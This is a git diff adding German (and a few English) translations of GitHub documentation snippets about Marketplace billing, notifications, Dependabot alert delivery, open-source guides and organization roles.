+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108184"
+---
+Wenn ein Kunde seinen Plan aktualisiert und bei der Zahlung ein Fehler auftritt, stellt GitHub den vorherigen Zustand seines {% data variables.product.prodname_marketplace %}-Abonnements wieder her. GitHub sendet auch eine E-Mail an den Kunden, um ihn über den Fehler zu informieren und ihm zu erlauben, seinen Kauf erneut zu versuchen. Du erhältst einen Webhook mit der `changed`-Aktion, der dich zum Wiederherstellen des vorherigen Plans auffordert.
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-malicious-behavior.md b/translations/de-DE/data/reusables/marketplace/marketplace-malicious-behavior.md
new file mode 100644
index 0000000000..da8f4053dc
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-malicious-behavior.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d8fe6e8b3f7d11c7de1f6470e057aa4635c47c07
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108180"
+---
+{% note %}
+
+**Hinweis**: Wenn du spamartige {% data variables.product.prodname_marketplace %}-Käufe oder ein anderes schädliches Verhalten bemerkst, fülle das Formular zum [Melden von Missbrauch](https://github.com/contact/report-abuse) mit weiteren Informationen zum Benutzer aus.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-org-perms.md b/translations/de-DE/data/reusables/marketplace/marketplace-org-perms.md
new file mode 100644
index 0000000000..5ea978a226
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-org-perms.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: bd68db77108f182c51bc1bcb4e7b702fe75737d7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108172"
+---
+{% tip %}
+
+  **Tipp:** Wenn eine App Zugriff auf Organisationsebene erfordert, kann nur ein Organisationsinhaber die App kaufen, installieren oder kündigen und die App-Abrechnung für die Organisation verwalten. Wenn die App keinen Zugriff auf Organisationsebene benötigt, kann ein Repository-Administrator die App installieren und deinstallieren.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/marketplace/marketplace-pricing-free-trials.md b/translations/de-DE/data/reusables/marketplace/marketplace-pricing-free-trials.md
new file mode 100644
index 0000000000..ea3092e8ee
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/marketplace-pricing-free-trials.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: faf8e445d7229b3b5469d6a671be512c0029a7bf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108171"
+---
+Du kannst deine App im Rahmen einer Testversion für 14 Tage kostenlos anbieten. Kostenlose Testversionen werden nach 14 Tagen automatisch in ein kostenpflichtiges Abonnement umgewandelt, sofern der Kunde nicht vor Ablauf der kostenlosen Testversion storniert. Wähle „14-tägige kostenlose Testversion für diesen Plan aktivieren“ aus, um eine kostenlose Testversion anzubieten.
diff --git a/translations/de-DE/data/reusables/marketplace/review-app-perms-install.md b/translations/de-DE/data/reusables/marketplace/review-app-perms-install.md
new file mode 100644
index 0000000000..a8147d3e30
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/review-app-perms-install.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 407574f3a129575da3a2d12ce1a83c8ba071823f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108160"
+---
+1. Überprüfe die Zugriffsberechtigungen der App, und klicke anschließend auf **Installieren**.
diff --git a/translations/de-DE/data/reusables/marketplace/select-installation-repos.md b/translations/de-DE/data/reusables/marketplace/select-installation-repos.md
new file mode 100644
index 0000000000..4f4fd6b217
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/select-installation-repos.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 318a75271da501e59d74c9cc3be70b2078fd22af
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108159"
+---
+1. Wenn Du Dich dafür entschließt, der App nur auf begrenzte statt auf all Deine Repositorys Zugriff zu gewähren, gib den Namen jedes Repository ein, für welches Du der App Zugriffe geben willst, dann klicke auf den Repository-Namen um es auszuwählen.
+  ![Feld zum Auswählen von Repositorys, auf die die App zugreifen soll](/assets/images/help/marketplace/marketplace-select-repo-field.png)
diff --git a/translations/de-DE/data/reusables/marketplace/unverified-apps.md b/translations/de-DE/data/reusables/marketplace/unverified-apps.md
new file mode 100644
index 0000000000..049f6fdfa5
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/unverified-apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 812927b3840c5f132d4903efe432e51c252ee931
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879889"
+---
+Nicht überprüfte Apps werden nur mit kostenlosen Plänen angeboten. Um kostenpflichtige Pläne auflisten zu können, musst du eine überprüfte App übermitteln.
diff --git a/translations/de-DE/data/reusables/marketplace/upgrade-app-billing-settings.md b/translations/de-DE/data/reusables/marketplace/upgrade-app-billing-settings.md
new file mode 100644
index 0000000000..0b0af5c64f
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/upgrade-app-billing-settings.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b5e2217f476048d8484fd52efed7a3993a83e960
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880936"
+---
+1. Wähle neben der App, für die du ein Upgrade durchführen möchtest, das Dropdownmenü **Bearbeiten** aus, und klicke auf **Plan ändern**.
+  ![Dropdownmenü „Bearbeiten“ im Abschnitt für Marketplace-Käufe in den Abrechnungseinstellungen deines persönlichen Kontos](/assets/images/help/marketplace/marketplace-edit-app-billing-settings.png)
diff --git a/translations/de-DE/data/reusables/marketplace/visit-marketplace.md b/translations/de-DE/data/reusables/marketplace/visit-marketplace.md
new file mode 100644
index 0000000000..d4457cdad6
--- /dev/null
+++ b/translations/de-DE/data/reusables/marketplace/visit-marketplace.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2dfdd1a7e9570e4a47286de1cbc958022588474d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882971"
+---
+1. Klicke auf einer beliebigen Seite oben auf **Marketplace**.
+  ![Marketplace-Link im globalen Navigationsmenü zuoberst auf jeder Seite](/assets/images/help/marketplace/marketplace-link-global-navigation.png)
diff --git a/translations/de-DE/data/reusables/mobile/about-mobile.md b/translations/de-DE/data/reusables/mobile/about-mobile.md
new file mode 100644
index 0000000000..1e20fa6ff7
--- /dev/null
+++ b/translations/de-DE/data/reusables/mobile/about-mobile.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 60982d278ddacf646a04c59b057b7f876cf1495d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108147"
+---
+{% data variables.product.prodname_mobile %} ist als Android- und iOS-App verfügbar.
diff --git a/translations/de-DE/data/reusables/mobile/push-notifications-on-ghes.md b/translations/de-DE/data/reusables/mobile/push-notifications-on-ghes.md
new file mode 100644
index 0000000000..78762266fb
--- /dev/null
+++ b/translations/de-DE/data/reusables/mobile/push-notifications-on-ghes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0bc628d7fcd2e2b7a72b866f653409e8dfada7d1
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880364"
+---
+{% data variables.product.prodname_ghe_server %} verwendet Hintergrundabrufe, um Pushbenachrichtigungen zu unterstützen, ohne deine Informationen an einen Drittanbieterdienst zu senden. Daher stellst du beim Empfangen von Pushbenachrichtigungen möglicherweise eine Verzögerung fest.
diff --git a/translations/de-DE/data/reusables/notifications-v2/custom-notification-types.md b/translations/de-DE/data/reusables/notifications-v2/custom-notification-types.md
new file mode 100644
index 0000000000..8e54874b7f
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications-v2/custom-notification-types.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a58ac1efeb08c3c10884942df4d8b86d3638ce93
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109449"
+---
+Probleme, Pull Requests, Releases, Sicherheitswarnungen oder Diskussionen
diff --git a/translations/de-DE/data/reusables/notifications-v2/email-notification-caveats.md b/translations/de-DE/data/reusables/notifications-v2/email-notification-caveats.md
new file mode 100644
index 0000000000..a62c769dbc
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications-v2/email-notification-caveats.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 453751376b98fad88cd110eda5357cb2b7781714
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145108135"
+---
+Du erhältst nur Benachrichtigungs-E-Mails, wenn Du E-Mail-Benachrichtigungen in Deinen Benachrichtigungseinstellungen festgelegt hast.  
+
+{% ifversion fpt or ghec %} {% data reusables.user-settings.verify-org-approved-email-domain %} {% endif %}
diff --git a/translations/de-DE/data/reusables/notifications-v2/manage-notifications.md b/translations/de-DE/data/reusables/notifications-v2/manage-notifications.md
new file mode 100644
index 0000000000..4ba48ba889
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications-v2/manage-notifications.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4818d65489b278c40fdef0d7a9bfb6d420f2b4c8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108128"
+---
+1. Wähle auf der linken Randleiste unter der Liste der Repositorys das Dropdownmenü „Benachrichtigungen verwalten“ aus, und klicke auf **Benachrichtigungseinstellungen**.
+  ![Dropdownmenüoptionen zum Verwalten von Benachrichtigungen](/assets/images/help/notifications-v2/manage-notifications-options.png)
diff --git a/translations/de-DE/data/reusables/notifications-v2/notifications-inbox-required-setting.md b/translations/de-DE/data/reusables/notifications-v2/notifications-inbox-required-setting.md
new file mode 100644
index 0000000000..5a8e0feae8
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications-v2/notifications-inbox-required-setting.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 951b098714d230ed2f3e523db2cce49ac5e8697c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108124"
+---
+Um den Posteingang für Benachrichtigungen auf {% data variables.product.prodname_dotcom %} und {% data variables.product.prodname_mobile %} zu verwenden, musst Du Web- und Mobile-Benachrichtigungen in Deinen Benachrichtigungseinstellungen aktivieren.
diff --git a/translations/de-DE/data/reusables/notifications/access_notifications.md b/translations/de-DE/data/reusables/notifications/access_notifications.md
new file mode 100644
index 0000000000..4a16acdb12
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/access_notifications.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: caa9e0bb28884a36c15ab815454ac6f677ecb4b4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108119"
+---
+1. Klicke in der oberen rechten Ecke einer beliebigen Seite auf {% octicon "bell" aria-label="The notifications bell" %}.
+![Benachrichtigung, die auf eine ungelesene Mitteilung hinweist](/assets/images/help/notifications/notifications_general_existence_indicator.png)
diff --git a/translations/de-DE/data/reusables/notifications/access_watching.md b/translations/de-DE/data/reusables/notifications/access_watching.md
new file mode 100644
index 0000000000..1b2eee766e
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/access_watching.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b3e99425ff611a2c645579cefb7cb46d1cd462ff
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332056"
+---
+1. Klicke in der oberen rechten Ecke einer beliebigen Seite auf {% octicon "bell" aria-label="The notifications bell" %}. Wenn du [Webbenachrichtigungen deaktiviert hast](/enterprise/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications) und das Glockensymbol nicht angezeigt wird, kannst du zu <https://github.com/watching> navigieren.
+![Benachrichtigung, die auf eine ungelesene Mitteilung hinweist](/assets/images/help/notifications/notifications_general_existence_indicator.png)
diff --git a/translations/de-DE/data/reusables/notifications/auto-watch.md b/translations/de-DE/data/reusables/notifications/auto-watch.md
new file mode 100644
index 0000000000..f6c9ea75b3
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/auto-watch.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d26400a007d53357405ef375834a876c1c53aa57
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108112"
+---
+Du überwachst automatisch alle Repositorys, die du erstellst und die sich im Besitz deines persönlichen Kontos befinden. Du kannst auch automatisch alle Repositorys überwachen, auf die Du Push-Zugriff hast, mit Ausnahme von Forks. Alle anderen Repositorys kannst Du manuell überwachen.
diff --git a/translations/de-DE/data/reusables/notifications/email-restrictions-verification.md b/translations/de-DE/data/reusables/notifications/email-restrictions-verification.md
new file mode 100644
index 0000000000..35954c4cc5
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/email-restrictions-verification.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7bfa46be685d6037a5f72573a48d9c5c0cb8927f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108111"
+---
+{% ifversion fpt or ghec %}Um nach der Aktivierung von Einschränkungen weiterhin E-Mail-Benachrichtigungen zu erhalten, müssen Mitglieder alle E-Mail-Adressen innerhalb von Domänen verifizieren, die von dir verifiziert oder genehmigt wurden. Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/github/getting-started-with-github/verifying-your-email-address).{% endif %}
diff --git a/translations/de-DE/data/reusables/notifications/outbound_email_tip.md b/translations/de-DE/data/reusables/notifications/outbound_email_tip.md
new file mode 100644
index 0000000000..e8f714d69a
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/outbound_email_tip.md
@@ -0,0 +1,7 @@
+{% ifversion ghes or ghae %}
+{% note %}
+
+**Note**: You'll only receive email notifications if outbound email support is enabled on {% data variables.location.product_location %}. For more information, contact your site administrator.
+
+{% endnote %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/notifications/saved_for_late_sidebar.md b/translations/de-DE/data/reusables/notifications/saved_for_late_sidebar.md
new file mode 100644
index 0000000000..f1873480fa
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/saved_for_late_sidebar.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 50f6f804e37a6ac82a9a367a4c510189bdbce38e
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884728"
+---
+1. Um deine gespeicherten Benachrichtigungen anzuzeigen, klicke in der linken Randleiste auf **Für später gespeichert**.
+![Schaltfläche „Für später gespeichert“](/assets/images/help/notifications/saved-for-later-tab.png)
diff --git a/translations/de-DE/data/reusables/notifications/shared_state.md b/translations/de-DE/data/reusables/notifications/shared_state.md
new file mode 100644
index 0000000000..76f7bb93f6
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/shared_state.md
@@ -0,0 +1,5 @@
+{% tip %}
+
+**Tip:** If you receive both web and email notifications, you can automatically sync the read or unread status of the notification so that web notifications are automatically marked as read once you've read the corresponding email notification. To enable this sync, your email client must be able to view images from {% ifversion fpt or ghec %}`notifications@github.com`{% else %}the `no-reply` email address {% ifversion ghae %}for your {% data variables.product.product_name %} hostname{% elsif ghes %}for {% data variables.location.product_location %}, which your site administrator configures{% endif %}{% endif %}.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md
new file mode 100644
index 0000000000..dac101ca75
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f86f510de500452b6eedc962e18e93632697b0a6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062386"
+---
+Du kannst die Übermittlungsmethode und Häufigkeit von Benachrichtigungen zu {% data variables.product.prodname_dependabot_alerts %} für Repositorys auswählen, die du überwachst oder für die du Benachrichtigungen für Sicherheitswarnungen abonniert hast.
diff --git a/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md
new file mode 100644
index 0000000000..d7d80103c9
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-delivery-method-customization2.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9cf921d7f830c6d9ee2630a010f8e46c972e5651
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108087"
+---
+Du kannst die Übermittlungsmethode für Benachrichtigungen sowie die Häufigkeit auswählen, in der die Benachrichtigungen an dich gesendet werden.
diff --git a/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-enable.md b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-enable.md
new file mode 100644
index 0000000000..6560eac037
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-enable.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4b69be7957a4b13d2bc52a4672afb3ad6461a622
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147060546"
+---
+{% ifversion fpt or ghes or ghec %} Um Benachrichtigungen über {% data variables.product.prodname_dependabot_alerts %} zu Repositorys zu erhalten, musst du diese Repositorys überwachen und den Erhalt von Benachrichtigungen für „Alle Aktivitäten“ abonnieren oder benutzerdefinierte Einstellungen so konfigurieren, dass sie „Sicherheitswarnungen“ umfassen. Weitere Informationen findest du unter [Konfigurieren von Überwachungseinstellungen für ein einzelnes Repository](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-options.md b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-options.md
new file mode 100644
index 0000000000..35a05a1c1a
--- /dev/null
+++ b/translations/de-DE/data/reusables/notifications/vulnerable-dependency-notification-options.md
@@ -0,0 +1,23 @@
+{% ifversion fpt or ghec %}By default, you will receive notifications:{% endif %}{% ifversion ghes or ghae %}By default, if your enterprise owner has configured email for notifications on your instance, you will receive {% data variables.product.prodname_dependabot_alerts %}:{% endif %}
+
+- in your inbox, as web notifications. A web notification is sent when {% data variables.product.prodname_dependabot %} is enabled for a repository, when a new manifest file is committed to the repository, and when a new vulnerability with a critical or high severity is found (**On {% data variables.product.prodname_dotcom %}** option).
+- by email, an email is sent when {% data variables.product.prodname_dependabot %} is enabled for a repository, when a new manifest file is committed to the repository, and when a new vulnerability with a critical or high severity is found (**Email** option).{% ifversion ghes < 3.8 or ghae < 3.8 %}
+- in the user interface, a warning is shown in your repository's file and code views if there are any insecure dependencies (**UI alerts** option).{% endif %}
+- on the command line, warnings are displayed as callbacks when you push to repositories with any insecure dependencies (**CLI** option).
+{% ifversion not ghae %}
+- on {% data variables.product.prodname_mobile %}, as web notifications. For more information, see "[Enabling push notifications with {% data variables.product.prodname_mobile %}](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#enabling-push-notifications-with-github-mobile)."{% endif %}
+
+{% note %}
+
+**Note:** The email and web{% ifversion not ghae %}/{% data variables.product.prodname_mobile %}{% endif %} notifications are:
+
+- _per repository_ when {% data variables.product.prodname_dependabot %} is enabled on the repository, or when a new manifest file is committed to the repository.
+
+- _per organization_ when a new vulnerability is discovered.
+
+{% endnote %}
+
+{% ifversion update-notification-settings-22 %}
+You can customize the way you are notified about {% data variables.product.prodname_dependabot_alerts %}. For example, you can receive a daily or weekly digest email summarizing alerts for up to 10 of your repositories using the **Email weekly digest** option.
+{% else %}
+You can customize the way you are notified about {% data variables.product.prodname_dependabot_alerts %}. For example, you can receive a weekly digest email summarizing alerts for up to 10 of your repositories using the **Email a digest summary of vulnerabilities** and **Weekly security email digest** options.{% endif %}
diff --git a/translations/de-DE/data/reusables/open-source/open-source-guide-general.md b/translations/de-DE/data/reusables/open-source/open-source-guide-general.md
new file mode 100644
index 0000000000..a6e8e6aa11
--- /dev/null
+++ b/translations/de-DE/data/reusables/open-source/open-source-guide-general.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 316cd0befc8c79badf186cd5ea30127472e07042
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877005"
+---
+Weitere Informationen zu Open-Source, insbesondere zum Erstellen und Herausbilden eines Open-Source-Projekts, findest du in den von uns erstellten [Open Source Guides](https://opensource.guide/). Diese unterstützen dich bei der Förderung einer intakten Open-Source-Community.
diff --git a/translations/de-DE/data/reusables/open-source/open-source-guide-repositories.md b/translations/de-DE/data/reusables/open-source/open-source-guide-repositories.md
new file mode 100644
index 0000000000..c439980aea
--- /dev/null
+++ b/translations/de-DE/data/reusables/open-source/open-source-guide-repositories.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 14d64e443095fbdf3930058f683d89a27ddaeb63
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879227"
+---
+Weitere Informationen zu Open Source, insbesondere zum Erstellen und Herausbilden eines Open-Source-Projekts, findest du in den von uns erstellten [Open-Source-Leitfäden](https://opensource.guide/). Diese unterstützen dich bei der Förderung einer intakten Open-Source-Community durch die Empfehlung von Best Practices für das Erstellen und Warten von Repositorys für dein Open-Source-Projekt.
diff --git a/translations/de-DE/data/reusables/open-source/open-source-learning.md b/translations/de-DE/data/reusables/open-source/open-source-learning.md
new file mode 100644
index 0000000000..3593cf1efe
--- /dev/null
+++ b/translations/de-DE/data/reusables/open-source/open-source-learning.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 78bb4f821d2d438090d06e3ed184218b8ea59eb5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "146139364"
+---
+Du kannst auch einen kostenlosen [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})-Kurs zum Verwalten von Open-Source-Communitys absolvieren.
diff --git a/translations/de-DE/data/reusables/organizations/about-custom-repo-roles.md b/translations/de-DE/data/reusables/organizations/about-custom-repo-roles.md
new file mode 100644
index 0000000000..e6a2d8f56c
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/about-custom-repo-roles.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 520bbbec14311803d1c62f528f7be9d21f68d9ff
+ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/02/2022
+ms.locfileid: "148130998"
+---
+Eine benutzerdefinierte Repositoryrolle ist eine konfigurierbare Reihe von Berechtigungen mit einem benutzerdefinierten Namen, den du selbst auswählst.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/organizations/about-following-organizations.md b/translations/de-DE/data/reusables/organizations/about-following-organizations.md
new file mode 100644
index 0000000000..7796976860
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/about-following-organizations.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f9490c302fe4534be6937805e0eec85fe9c5db1a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109585"
+---
+Wenn du Organisationen auf {% data variables.product.product_name %} folgst, werden deren {% ifversion fpt or ghec %}öffentliche{% endif %} Aktivitäten auf deinem persönlichen Dashboard angezeigt. Diese Aktivitäten umfassen neue Diskussionen, Sponsorings und Repositorys.
diff --git a/translations/de-DE/data/reusables/organizations/about-organizations.md b/translations/de-DE/data/reusables/organizations/about-organizations.md
new file mode 100644
index 0000000000..9833f5e0b5
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/about-organizations.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: e4791f436b38961954337b39fab5ec277663eb4f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147389979"
+---
+Dein Team kann mithilfe eines Organisationskontos auf {% data variables.product.product_name %} zusammenarbeiten, das als Container für eure gemeinsame Arbeit dient und der Arbeit einen eindeutigen Namen und eine eindeutige Marke bietet. 
+
+Jede Person, die {% data variables.product.prodname_dotcom %} verwendet, meldet sich immer bei einem persönlichen Konto an, und mehrere persönliche Konten können mit demselben Organisationskonto an gemeinsamen Projekten zusammenarbeiten. Einer Untergruppe dieser persönlichen Konten kann die Rolle „Organisationsbesitzer“ zugwiesen werden. So können diese Personen den Zugriff auf die Ressourcen der Organisation mit leistungsstarken Sicherheits- und Verwaltungsfeatures präzise verwalten.
diff --git a/translations/de-DE/data/reusables/organizations/about-roles.md b/translations/de-DE/data/reusables/organizations/about-roles.md
new file mode 100644
index 0000000000..b676fc5f37
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/about-roles.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: eb929dd1a062070759ebe6cd2a8efc087f162b7a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108067"
+---
+Zum Ausführen von Aktionen für {% data variables.product.prodname_dotcom %}, z. B. das Erstellen eines Pull Requests in einem Repository oder das Ändern der Abrechnungseinstellungen einer Organisation, muss eine Person über ausreichenden Zugriff auf das relevante Konto oder die entsprechende Ressource verfügen. Dieser Zugriff wird mit Berechtigungen gesteuert. Eine Berechtigung ist die Möglichkeit, eine bestimmte Aktion auszuführen. Die Möglichkeit, ein Issue zu löschen, ist beispielsweise eine Berechtigung. Eine Rolle ist eine Reihe von Berechtigungen, die du Personen oder Teams zuweisen kannst.
diff --git a/translations/de-DE/data/reusables/organizations/about-security-managers.md b/translations/de-DE/data/reusables/organizations/about-security-managers.md
new file mode 100644
index 0000000000..15dc3aa50b
--- /dev/null
+++ b/translations/de-DE/data/reusables/organizations/about-security-managers.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 78f849004d0e02a528e28e6f1d419253640f12d6
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145108060"
+---
